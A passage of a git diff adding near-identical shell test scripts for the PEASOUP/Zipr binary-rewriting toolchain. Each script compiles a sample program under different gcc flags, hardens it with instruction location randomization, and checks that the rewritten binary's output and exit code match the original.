+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..de1c9526ba472a6d20018ca256109a06ac0a19b3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..46fe5abf2ce1bea6e4800e63713330a8b9372f2d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..45c0bbd0106478abf3577a79b05d515d1dc04255
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..04631c60e21af459f584085d067a4f27e375a032
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e32fd114f19523043ac53451371fd2fdf439873d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..35c1638a9b1b7153e05262dc064421761cc9acf1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
